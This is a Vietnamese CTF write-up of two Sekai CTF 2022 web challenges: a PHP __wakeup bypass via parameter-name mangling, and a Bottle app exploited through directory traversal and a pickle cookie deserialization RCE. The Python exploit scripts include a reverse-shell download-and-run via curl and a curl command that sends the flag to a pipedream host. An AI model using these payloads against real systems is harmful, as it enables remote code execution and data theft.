Shang
Blog 👨‍💻
  • 🌸Introduction
  • 💻WEB SECURITY
    • BSCP prep
      • SQL injection
    • Research Vulnerability
      • 📲Server-side topics
        • 🔏API Testing
        • 🔏Race conditions
        • 🔏XML external entity (XXE) injection
        • 🔏Server-side request forgery (SSRF)
        • 🔏File upload vulnerabilities
        • 🔏Access control vulnerabilities and privilege escalation
        • 🔏Business logic vulnerabilities
        • 🔏OS Command injection
        • 🔏Directory traversal
        • 🔏Authentication vulnerabilities
        • 🔏SQL injection
      • 📱Client-side topics
        • 🔏DOM-based vulnerabilities
        • 🔏Cross-origin resource sharing (CORS)
        • 🔏WebSockets
        • 🔏Clickjacking (UI redressing)
        • 🔏Cross-site request forgery (CSRF)
        • 🔏Cross-site scripting(XSS)
      • 🌀Advanced topics
        • 🔐Web cache poisoning
        • 🔐HTTP request smuggling
        • 🔐Prototype pollution
        • 🔐Server-side template injection(SSTI)
        • 🔐Insucure deserialization
    • Learn Java Vulnerability
      • Intro & Setup
      • Java Reflection Part 1
      • Java Reflection Part 2
    • Research Documents
      • 🎯DNS Rebinding
      • 🍪Remote Code Execution - Insecure Deserialization
      • 🍪Remote Code Execution on Jinja - SSTI Lab
      • 🍪Exploit cross-site request forgery (CSRF) - Lab
      • 🍪Exploit a misconfigured CORS - Lab
      • 🍪Same Origin Policy (SOP) - Lab
  • 📝WRITE-UP CTF
    • CTF Competitions
      • 🔰[WolvCTF 2023] Writeup Web
      • 🔰[M☆CTF Training 2023] Writeup Web
      • 🔰[HackTM CTF 2023] Writeup Web
      • 🔰[Incognito 4.0 2023] Writeup Web
      • 🔰[LA CTF 2023] Re-writeup Web
      • 🔰[Dice CTF 2023] Writeup Web
      • 🔰[ByteBandits CTF 2023] Writeup Web
      • 🔰[Knight CTF 2023] Writeup Web
      • 🔰[Sekai CTF 2022] Writeup Web
      • 🔰[WRECK CTF 2022] Writeup Web
      • 🔰[Maple CTF 2022] Writeup Web
    • CTF WarGame
      • ✏️[Root me] Writeup Sever Side
      • ✏️Websec.fr
      • ✏️[Root me] Writeup XSS Challenge
    • [tsug0d]-MAWC
      • 💉TSULOTT
      • 💉IQTEST
      • 🧬TooManyCrypto
      • 🧬NumberMakeup
    • Pwnable.vn
Powered by GitBook
On this page
  • Mở đầu
  • Sekai-game-start
  • Analyse
  • Exploit
  • Bottle Poem
  • Analyse
  • Exploit
  • issues
  1. WRITE-UP CTF
  2. CTF Competitions

[Sekai CTF 2022] Writeup Web

Previous[Knight CTF 2023] Writeup WebNext[WRECK CTF 2022] Writeup Web

Last updated 2 years ago

Mở đầu

Đây là một giải khá thú vị và mình học được thêm những kiến thức mới, đây là write up hai bài mình biết làm và có 2 bài mình biết lỗ hổng nhưng cách khai thác vẫn chưa đủ kiến thức nên mình cũng viết ra ở đây cho mọi người tham khảo...Toàn bộ link source challenges sẽ ở đây, các bạn có thể down về và build docker để làm.~~~~~~~~~~

Sekai-game-start

Analyse

Vào đầu bài chúng ta sẽ có một đoạn code PHP như này:

Nhìn qua đoạn code mình đoán nó là lỗ hổng PHP Object Injection, lỗi là không kiểm tra kỹ đầu vào unserialize()

Oke chúng ta sẽ phân tích code trên một xíu:

Trước tiên code sẽ thực hiện chèn file flag.php vào file chính này, sau đó dòng 4 có một biến public $start được đặt là true, tiếp theo có một function __destruct() sẽ xử lý nếu start === true thì sẽ in ra flag.

Oke nhưng chú ý tới phía dưới chúng ta có một public function __wakeup() xử lý biến start trên là false.

__wakeup in turn will be executed by unserialize if it is present in class.

Khi unserialize() thực hiện nó sẽ gọi tới hàm __wakeup() sẽ được gọi ngay lập tức, vậy chúng ta sẽ luôn false.

Exploit

Ý tưởng bây giờ chúng ta sẽ ghi đè đối tượng trong __wakeup khi unserialize();

O:10:"Sekai_Game":1:{s:5:"start";b:1;}

Cái này mình thử nhưng không được, mình nhận ra có điều gì đó, nên mình đã xem lại biến sekai_game.run có bị filter cái gì không...

Sau một lúc research thì nhận ra, mình sẽ tổng hợp 3 ý chính ở đây:

  1. Như payload ở trên thì chạy nhưng flag không hiện ra cái thứ nhất tên biến của PHP không được dùng dấu . , vậy thì chúng ta dùng sekai_game.run khi đó nó sẽ không nhận, các bạn có thể thấy đoạn code php ở trên khi có . hay [ trong biến thì nó sẽ replace thành _

  2. Nhưng mà khi có dấu chấm nó replace thành _ khi đó sẽ không đúng với tên biến, chúng ta sẽ dùng [ để thay vào biến, khi đó tham số(parameter) ở trên check tới dấu [ thì nó nghĩ là Array nên nó dừng lại thành ra skip được dấu . , sau khi điền giá trị vào tham số trên thì nó replace _ => bypass thành công !

Từ đây payload cuối cùng là: sekai[game.run=C:10:"Sekai_Game":0:{}

Flag: SEKAI{W3lcome_T0_Our_universe}

Bottle Poem

Analyse

Khi vào trang web chúng ta có sẽ có 3 bài thơ như trên, khi kích vào mỗi linh khi đó URL sẽ như này:

http://bottle-poem.ctf.sekai.team/show?id=spring.txt

Khi bạn nhấn vào mỗi bài thời sẽ có một link khác nhau, chú ý trên URL lúc này ?id= được gắn cho một bài thơ, mình nghĩ nó là Directory traversal, vậy mình đã có gắng bypass để truy cập thư mục etc/passwd, tới khi truy cập được như này:

id=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

Oke vậy lúc này chúng ta xác định rõ nó là lỗ hổng Directory traversal, vì bài này cấm brute force nên mình check bằng tay. Có nhiều file mình có thể đọc được nhưng không có tác dụng cho tới khi mình đọc được thông tin từ file này /proc/self/cmdline:

Lúc này chúng ta thấy rằng lệnh ban đầu quá trình chạy khi đó chúng ta biết thêm một path là app/app.py. Sau khi thử thay thế etc/passwd chúng ta nhận được source code:

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

Chúng ta phân tích qua một xíu code nhé:

  1. Chú ý rằng đoạn code có from config.secret import sekai lúc này ta biết được sekai được import từ config.secret.

  2. Nhìn xuống dưới thì chỉ là nối path để show poem ra thôi, chỉ có chỗ nếu parameter có ^../app th in ra NO!! khi đó chúng ta có thể bypass bằng cách thêm ../../app/app.py.

  3. Oke bây giờ chúng ta cần chú ý xuống phần regex của nó: try except, thì ban đầu có một session được gán cho một cookie được get về có key: name và secret=sekai, sau đó kiểm tra xem có session hay không, nếu không nó sẽ đặt session key:name value:guest sau đó set lại cookie với value: name, value đã được hash từ secret_key(gọi là signature key: khóa chữ ký, các bạn có thể đọc trong doc bottle để hiểu rõ hơn) và session. Sau đó retune ra template của guest. Còn nếu session có value là admin thì nó sẽ return ra template của admin

Vì bây giờ chúng ta không thể biết được secret_key là gì nên chúng ta, phải đi tìm đường dẫn có chưa file secret. Oke sau một lúc search thì tôi nghĩ tới folder proc/self/cwd - đây là folder chứa thư mục hiện tại đang chạy và mình tìm được config/secret.py

Exploit

Chúng ta đã có secret-key bây giờ chúng ta sẽ RCE. Như đã nói ở trên thứ chúng ta có thể kiểm soát được là cookie, thì mình tìm kiếm với key word: RCE via cookie python thì mình nhận ra đó là Remote Code Execution - Insecure Deserialization

  • Sau khi Cookie được sign thì hàm cookie_decode được gọi

  • Chúng ta có thể chèn code ở cookie_encode

  • Mình nhận ra khi setcookie hay get_cookie cũng có pickle.dumps và pickle.load nhưng mình test thử thì RCE được.

Oke vậy payload sẽ được viết như sau:

import bottle
import requests

url='http://bottle-poem.ctf.sekai.team/sign'
secret = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

class RCE:
    def __reduce__(self):
        return (eval,('__import__("os").popnen("curl https://reverse-shell.sh/yourIP:3333 | sh")',))

exploit = bottle.cookie_encode(('session',{"name":RCE()}), secret)

print(exploit)
import  os
from  bottle  import *
import  requests
import Response
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
url = "http://bottle-poem.ctf.sekai.team/sign"

class  RCE:
  def  __reduce__(self):
    cmd = ('curl https://eokfo7kqkp6l31p.m.pipedream.net --data `/flag|base64`')
    return  os.system, (cmd,)
    
response.set_cookie("name", RCE(), secret=sekai)
payload = str(response)
payload = payload.replace("Content-Type: text/html; charset=UTF-8\nSet-Cookie: name=", '')
payload = payload.strip()
exploit = {"name":f'{payload}'}
print(exploit)

issues

Cảm ơn các bạn đã đọc WU mặc dù mình viết chưa được tốt, trong tương lai mình sẽ cố gắng trình bày tốt hơn...

Cái cuối thì khi unserialize()thì wakeup() sẽ chạy ngay lập tức => payload trên nó chạy vào wakeup(), nhưng sẽ không in ra gì nên mình tìm được cái một ký tự "C" trong serialize dành cho class nhưng bây giờ không được hỗ trợ nó biến đổi thành 'O', khi đó có thể skip __wakeup():

Mình đã vào doc bottle để đọc và kiếm được bài này:

Oke sau một lúc đọc và nghiên cứu thì mình note các ý chính như sau:

Đây là payload dựa trên set_cookie (Nhân tiện cảm ơn đã fix mình ở payload này!)

Link tham khảo
LINK
doc
Quốc Anh
📝
🔰
LINK
Page cover image